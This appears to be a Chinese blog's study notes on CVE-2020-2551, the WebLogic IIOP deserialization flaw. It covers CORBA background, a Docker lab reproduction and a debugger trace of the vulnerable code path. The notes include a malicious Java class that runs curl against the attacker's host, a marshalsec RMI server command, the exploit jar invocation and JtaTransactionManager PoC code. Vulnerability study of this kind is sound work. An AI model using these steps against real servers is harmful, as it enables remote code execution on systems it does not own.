Weblogic IIOP 反序列化漏洞学习笔记(CVE-2020-2551)

Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口,这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤,resolveClass方法是会读取父类的,所以T3协议这样过滤没问题。但是IIOP协议这块虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断,默认只会判断本类的类名,而JtaTransactionManager类不在黑名单列表里面并且存在jndi注入

前置知识

Corba概念

CORBA

公用对象请求代理体系结构(Common Object Request Broker Architecture),缩写为 CORBA,是对象管理组织(Object Management Group)制定的一种标准分布式对象结构

简言之,CORBA 允许应用程序和其他的应用程序通讯,而不论他们在什么地方或者由谁来设计

CORBA使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现

CORBA曾经是分布式计算的主流技术,在电信等领域使用广泛。开发和部署成本较高,目前属于已经基本被遗弃的技术,被轻量级的Web服务、RESTful服务等代替了

一般来说CORBA将其结构分为三部分

  • naming service
  • client side
  • servant side

这三部分组成了CORBA结构的基础三元素,而通信过程也是在这三方间完成的。我们知道CORBA是一个基于网络的架构,所以以上三者可以被部署在不同的位置。

servant side 可以理解为一个接收 client side 请求的服务端;

naming service 对于 servant side 来说用于服务方注册其提供的服务,对于 client side 来说客户端将从 naming service 来获取服务方的信息

这个关系可以简单的理解成目录与章节具体内容的关系:目录即为 naming serviceservant side 可以理解为具体的内容,内容需要首先在目录里面进行注册,这样当用户想要访问具体内容时只需要首先在目录中查找到具体内容所注册的引用(通常为页数),这样就可以利用这个引用快速的找到章节具体的内容

ORB(Object Request Broker)

即对象请求代理,客户端可以很简单的通过这个媒介使用服务器对象的方法而不需要关注服务器对象是在同一台机器上还是通过远程网络调用的,ORB截获调用后负责找到一个对象以满足该请求

IOR(Interoperable Object References)

IOR用于表示一个对象引用,我们知道,当我们在客户端一个CORBA对象的时候,接触的并不是真正的对象,而是这个对象的代理(Proxy),Proxy使用这个对象的位置信息与服务器通信。那么这里有一个问题,这些信息到底些什么信息,另外,ORB使用什么样子的形式去传输这些对象的信息。答案是IOR。这里给它加上Interoperable是因为IOR是ORB Interoperability Architecture的一部分

GIOP(General Inter-ORB Protocol)与 IIOP (Internet Inter-ORB Protocol)

GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就是CORBA用来进行数据传输的协议

GIOP是一个抽象的协议,针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol),定义了如何通过TCP/IP协议交换GIOP消息,所以通常说CORBA是基于IIOP协议的

ORB之间进行通信是通过GIOP协议完成的。GIOP定义了ORB之间互操作的传输语法和标准消息格式,比如请求头、请求体所包含的字段和长度

IDL

IDL全称接口定义语言,是用来描述软件组件接口的一种规范语言。用户可以定义模块、接口、属性、方法、输入输出参数,甚至异常等等,它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用

就如上文所说,IDL是与编程语言无关的一种规范化描述性语言,不同的编程语言为了将其转化成IDL,都制定了一套自用的编译器用于将可读取的OMG IDL文件转换或映射成相应的接口或类型

Java Standard Edition CORBA/IIOP 实现被称为 Java IDL。 与 IDL 到 Java (idlj) 编译器一起,Java IDL 可用于定义、实现和访问 Java 编程语言中的 CORBA 对象

通信流程

  1. 启动orbd作为naming service,会创建name service服务。

    ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,所以客户端和服务端要使用ORB,都要指定ORBD的端口和地址

  2. corba server向orbd发送请求获取name service,协商好通信格式

  3. orbd返回保存的name service

  4. corba server拿到name service后将具体的实现类绑定到name service上,这个时候orbd会拿到注册后的信息,这个信息就是IOR

  5. corba client向orbd发起请求获取name service。

  6. orbd返回保存的name service。

  7. corba client在name service中查找已经注册的信息获取到“引用”的信息(corba server的地址等),通过orb的连接功能将远程方法调用的请求转发到corba server。

  8. corba server通过orb接收请求,并利用POA拦截请求,将请求中所指定的类封装好,同样通过orb的连接功能返回给corba client

    Stub是client side调用orb的媒介,POA是servant side用于拦截client请求的媒介,而两者在结构上其实都是客户端/服务端调用orb的媒介

RMI-IIOP

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI的简单性和CORBA的多语言兼容性,克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL),稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,使得程序员能更方便的编写分布式程序设计,实现分布式计算

在Weblogic中实现了RMI-IIOP模型

Weblogic的文档把这个实现叫做RMI over IIOP

RMI-IIOP远程调用

编写一个RMI IIOP远程调用步骤:

  1. 定义远程接口类
  2. 编写实现类
  3. 编写服务端
  4. 编写客户端
  5. 编译代码并为服务端与客户端生成对应的使用类

远程接口类

1
2
3
4
5
package rmi_iiop;

public interface HelloInterface extends java.rmi.Remote {
public void sayHello() throws java.rmi.RemoteException;
}

实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
package rmi_iiop;

import javax.rmi.PortableRemoteObject;
import java.rmi.RemoteException;

public class HelloImpl extends PortableRemoteObject implements HelloInterface {
protected HelloImpl() throws RemoteException {
}
@Override
public void sayHello() throws RemoteException {
System.out.println("Hello !!");
}
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package rmi_iiop;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();

//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);

System.out.println("Hello Server Ready...");

Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}

private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package rmi_iiop;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;

public class HelloClient {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

public static void main(String[] args) {
try {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");

//从命名服务获取引用
Object objRef = initialContext.lookup("HelloService");
//narrow引用为具体的对象
HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);

hello.sayHello();
} catch (Exception ex) {
ex.printStackTrace();
}
}

private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

可以看到客户端通过JNDI查找的方式获取到远程的Reference对象,然后调用执行该对象的方法

先编译好以上代码

然后生成服务端与客户端进行远程调用的代理类

(rmic为远程对象生成 stub 和 skeleton)

1
rmic -iiop rmi_iiop.HelloImpl

执行完成后,在下面生成了两个类(Tie用于服务端,Stub用于客户端)

启动一个命名服务器,在本地监听1050端口

1
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost

然后先后运行服务端及客户端

在服务端的控制台输出Hello !!,即完成了一次RMI IIOP远程调用

Weblogic环境搭建

Weblogic环境搭建工具

下载需要的JDK和Weblogic Server,并构建镜像

(后来复现没成功,排错的时候把JDK换为了7u10,高版本JDK会限制RMI远程类的加载,但部分版本可用LDAP绕过,最后证实当时问题为编译恶意类的JDK版本高于了靶机JDK版本,所以测试时尽量用相同版本JDK)

1
docker build --build-arg JDK_PKG=jdk-7u10-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic .

运行容器

1
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic weblogic

将远程调试需要的目录从已运行的容器复制到本机并用idea打开

1
docker cp weblogic:/u01/app/oracle/middleware/ ./middleware/

设置Project中的SDK为对应版本

在libraries添加lib和modules两个目录

设置远程调试

由于我Weblogic环境搭建在Linux虚拟机的Docker中,这里host是虚拟机ip

漏洞复现

Windows宿主机ip:192.168.110.1

Linux虚拟机ip:192.168.110.3

Weblogic Docker ip:172.17.0.2

Linux虚拟机中本地攻击Docker(成功)

编译恶意类,尽量使用和weblogic相同的版本编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;

public class Evil {

public Evil() {
String cmd = "curl http://192.168.110.3:8080/success";
try {
Runtime.getRuntime().exec(cmd).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}

本地起一个web服务

使用marshalsec起一个RMI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.3:8080/#Evil" 1099

运行weblogic_CVE_2020_2551.jar

1
java -jar weblogic_CVE_2020_2551.jar 192.168.110.3 7001 rmi://192.168.110.3:1099/xxx

宿主机攻击虚拟机中Docker(失败)

RMI和WEB服务依旧在虚拟机中启动,在宿主机运行weblogic_CVE_2020_2551.jar攻击失败

RMI服务未收到请求

漏洞分析

RMI-IIOP调用的过程和普通的RMI方法调用很相似,因此很容易想到RMI的反序列化漏洞(CVE-2017-3241),通过bind方法中发送序列化对象到服务端,服务端在读取的时候进行反序列化操作,从而触发漏洞

关键代码如下

JtaTransactionManager是spring爆出的一个可以JNDI注入的类,在weblogic中也存在。

weblogic.jndi.WLInitialContextFactory 是weblogic的JNDI工厂类

Gadgets为Ysoserial中的一个工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";

Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}

这里使用Ysoserial内建的功能帮我们生成一个实现Remote接口的远程类

至此,整个漏洞的原理:

  1. 通过设置java.naming.provider.url的值为iiop://127.0.0.1:7001获取到对应的InitialContext对象,然后再bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端。

  2. Weblogic服务端在获取到请求的字节流时候进行反序列化操作触发漏洞。

Context的生成以及bind的流程

就如上文中的Demo,利用RMI-IIOP无论是写客户端还是服务端,都需要先获取Context对象

1
new InitialContext(env);

在CORBA通信过程中,这一部分就是获取naming service的过程,对于客户端来说是获取其中存在的IOR引用以供后面的rpc流程使用;对于服务端来说,是用于完成对象注册

为了方便后续理解Weblogic的解析逻辑,新建项目跟一下Context的生成过程,在libraries依旧要添加Weblogic的lib和modules两个目录

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class Test {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", "iiop://192.168.110.3:7001");
Context context = new InitialContext(env);
context.bind("l3yx", new Object());
}
}

javax.naming.InitialContext#InitialContext(java.util.Hashtable<?,?>)

在environment参数中可以设置Context的静态变量来指定Context的初始化参数,包括JNDI_FACTORY、PROVIDER_URL

javax.naming.InitialContext#init

当在environment中设置了Context.INITIAL_CONTEXT_FACTORY后会尝试获取该Context factory

javax.naming.InitialContext#getDefaultInitCtx

javax.naming.spi.NamingManager#getInitialContext

这里会根据设定的Context.INITIAL_CONTEXT_FACTORY,反射获取工厂类,之后调用其中的getInitialContext方法

这里是Weblogic中所拓展的工程类weblogic.jndi.WLInitialContextFactory

weblogic.jndi.WLInitialContextFactory#getInitialContext

weblogic.jndi.Environment#getContext(java.lang.String, weblogic.rmi.spi.HostID)

weblogic.factories.iiop.iiopEnvironmentFactory#getInitialContext(weblogic.jndi.Environment, java.lang.String)

weblogic.corba.j2ee.naming.InitialContextFactoryImpl#getInitialContext(java.util.Hashtable, java.lang.String)

weblogic.corba.j2ee.naming.ORBHelper#getORBReference

这里和CORBA的写法是一样的,都是初始化orb获取Naming Service的过程,如果想要了解详细的过程,可以参考Java CORBA

在获取了Context后,接着来看一下其绑定流程,此流程在bind函数中有所体现

weblogic.corba.j2ee.naming.ContextImpl#bind(javax.naming.Name, java.lang.Object)

这里完成的是生成IOR,同时设定corba协议中的数据类型与java类型交互的约定为tk_value,并设定请求的op或者叫做operation为bind_any。这里不仅仅设定了服务端对注册请求的处理方式(bind_any的处理流程),同时设定了后面反序列化的方式(tk_value)

Weblogic解析流程

在远程调试中下断点,运行weblogic_CVE_2020_2551.jar

weblogic.iiop.ConnectionManager#dispatch

在该函数看到所有 IIOP 的请求信息

weblogic.rmi.cluster.ClusterableServerRef#invoke

weblogic.corba.idl.CorbaServerRef#invoke

这里首先会判断请求是否为objectMethods中已经存在的类型,当不存在时将会调用delegate.invoke来处理,由于我们在发送注册请求时的请求类型为bind_any/rebind_any,并不在objectMethods中,所以会触发delegate._invoke,具体的实现类为

weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke

因为我们当前的请求类型为rebind_any,其所对应的var5为1,bind_any为0,但都会进入两个关键的流程

  • WNameHelper.read(var2)
  • var2.read_any()

weblogic.corba.cos.naming.NamingContextAnyPackage.WNameHelper#read

weblogic.corba.cos.naming.NamingContextAnyPackage.WNameComponentHelper#read

在WNameHelper.read主要负责提取IOR中的信息(id、kind)用于之后注册到orb的流程中

而反序列化的触发点在var2.read_any中

weblogic.iiop.IIOPInputStream#read_any()

在bind流程中发起注册请求时,会构造一个Any类,并将交互类型设置为tk_value也就是this.read_TypeCode()

weblogic.corba.idl.AnyImpl#read_value_internal

这里会根据TCKind来分派具体的处理流程,tk_value对应29

接下来就是这篇文章中所提到过的反序列化流程

接着跟踪会运行到

weblogic.iiop.IIOPInputStream#read_value(java.lang.Class)

在图中所示处下断点,然后F9,直到为var2为com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager

JtaTransactionManager就是spring爆出的一个可以JNDI注入的类,在weblogic中也存在

weblogic.corba.utils.ValueHandlerImpl#allocateValue

allocateValue中通过反射获取实例

weblogic.corba.utils.ValueHandlerImpl#readValue(weblogic.iiop.IIOPInputStream, weblogic.utils.io.ObjectStreamClass, java.lang.Object)

weblogic.corba.utils.ValueHandlerImpl#readValueData

判断是否有readObject方法之后进入自身的readObject

weblogic.utils.io.ObjectStreamClass#readObject

通过反射调用JtaTransactionManager的readObject

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject

后面就同Spring JtaTransactionManager 反序列化漏洞

解决POC NAT网络问题

抓包分析

重启了下虚拟机,ip变了,重新编译下恶意类,目前ip

Windows宿主机ip:192.168.110.1

Linux虚拟机ip:192.168.110.4

Weblogic Docker ip:172.17.0.2

Linux虚拟机中本地攻击Docker

1
tcpdump -n -i docker0 -w p.cap

通过IIOP向Weblogic请求NameService

Weblogic返回NameService并指定bind地址,这里为0.0.0.0(参考文章中为Weblogic内网ip,暂不明原因),即指向本机,由于docker的7001端口映射到了虚拟机的7001端口,所以在虚拟机中访问0.0.0.0:7001仍然可以正常访问到Weblogic

客户端请求bind恶意序列化对象

后面就是触发JNDI lookup,加载远程恶意类并成功执行命令

宿主机攻击虚拟机中Docker

直接用Wireshark抓VMware NAT

通过IIOP向Weblogic请求NameService

Weblogic返回NameService并指定bind地址,这里还是为0.0.0.0,那么宿主机会请求到自己的7001端口,自然不能正常与Weblogic交互,导致后续利用失败,可以本地监听7001端口验证一下

其实这里只要通过端口转发把数据交给Weblogic的7001端口即可

实测直接保存数据然后nc再发过去也行

重写客户端处理逻辑

参考手把手教你解决Weblogic CVE-2020-2551 POC网络问题

参考

Weblogic环境搭建工具

IDEA+docker,进行远程漏洞调试(weblogic)

Weblogic CVE-2020-2551 IIOP协议反序列化RCE

手把手教你解决Weblogic CVE-2020-2551 POC网络问题

漫谈 WebLogic CVE-2020-2551

Corba概念(GIOP、IIOP、IOR、ORB、IDL)

CORBA IOR学习

Corba初体验——概要笔记

WebLogic WLS 核心组件 RCE 分析(CVE-2020-2551)

关于 Java 中的 RMI-IIOP